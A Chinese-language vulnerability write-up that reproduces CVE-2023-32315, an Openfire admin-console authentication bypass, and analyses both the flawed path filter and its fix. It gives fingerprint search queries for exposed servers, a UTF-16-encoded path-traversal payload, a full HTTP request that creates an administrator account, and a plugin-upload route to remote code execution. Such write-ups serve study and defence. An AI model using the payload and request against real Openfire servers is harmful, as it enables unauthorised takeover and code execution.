CVE-2023-32315 openfire 认证绕过漏洞
漏洞信息
漏洞名称:Openfire 管理后台认证绕过漏洞复现
应用介绍:Openfire 是免费的、开源的、基于可拓展通讯和表示协议 ( XMPP )、采用Java编程语言开发的实时协作服务器。Openfire安装和使用都非常简单,并利用Web进行管理。单台服务器甚至可支持上万并发用户。
影响版本:
3.10.0 <= Openfire < 4.6.8
4.7.0 <= Openfire 4.7.x < 4.7.5
漏洞介绍:Openfire的Web管理后台存在一处目录穿越漏洞,这将允许攻击者绕过权限校验访问所有受限页面。我们可以借此漏洞未授权创建管理员用户,并结合后台自定义插件的上传,达到 RCE。
搜索语法:
- icon_hash=”1211608009”
- body=”jive-loginVersion”
- title=”Openfire Admin Console”
- title=”Openfire 管理”
- title=”Openfire Console Admin”
环境搭建
https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4_x64.exe
漏洞分析
Openfire 管理后台曾经爆出过一次 CVE-2008-6508,该漏洞也是路径穿越漏洞,随后官方对其进行修复,修复方法为检测路径中是否有 ..
和 %2e
( .. 的 url 编码 ),但由于Openfire内置的 Jetty Web 服务器升级支持对 UTF-16 ( %u002e ) 这类非标准 unicode uri 的解析,从而使路径穿越重新出现。
源码:https://github.com/igniterealtime/Openfire/releases/download/v4.7.4/openfire_4_7_4.zip
先看 web.xml 中的过滤器:xmppserver/src/main/webapp/WEB-INF/web.xml
1 |
|
定位过滤器位置,查看器 doFilter 函数:org/jivesoftware/admin/AuthCheckFilter.java
它有一个对于 excludes的判断,就是判断 URL 是否是后台过滤器的白名单,如果是那就不进行后面匹配,跟进具体的实现:
可以看到它第一个判断中,对应有 *存在的白名单规则,截取路径部分,然后判断其中是否包含 .. 和 %2e,如果都不存在则返回 true 然后就会绕过后面的权限校验。
上面说过器内置服务器可以解析 UTF-16 这类字符,那么就可以把 ../换成 %u002e%u002e/ 就可以再次进行路径穿越。
那么只要使用 setup/setup-* 加上 %u002e%u002e/ 就可以实现路径穿越。
就像这样:/setup/setup-s/%u002e%u002e/%u002e%u002e/log.jsp
漏洞利用
利用思路为:
创建后台用户登录后台
上传插件 getshell
创建后台用户:
GET /user-create.jsp?csrf=643LDwk5NJtV8JO&username=demo&name=&email=&password=demo&passwordConfirm=&isadmin=on&create=%E5%88%9B%E5%BB%BA%E7%94%A8%E6%88%B7 HTTP/1.1
Host: 127.0.0.1:9090
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:9090/user-create.jsp
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=node0p140w41smlfh1vcb7ab9h9gm938.node0; csrf=643LDwk5NJtV8JO
Connection: close
发现还需要一个 csrf 和 JSESSIONID,这两个东西直接访问个页面就会回显:
获取这 2 个东西后,即可创建用户。不过后面发现没有这两个也能创建用户,但是貌似不太稳定?第一次直接成功,但后面几次都失败了,还是加上稳一点。
密码是 123
漏洞修复
看了一下过滤器,发现直接把有 *的白名单给删除了:
然后 testURLPassesExclude 这里,对 URL 进行 utf-8 解码,这样就解决了上面的因为编码问题导致绕过: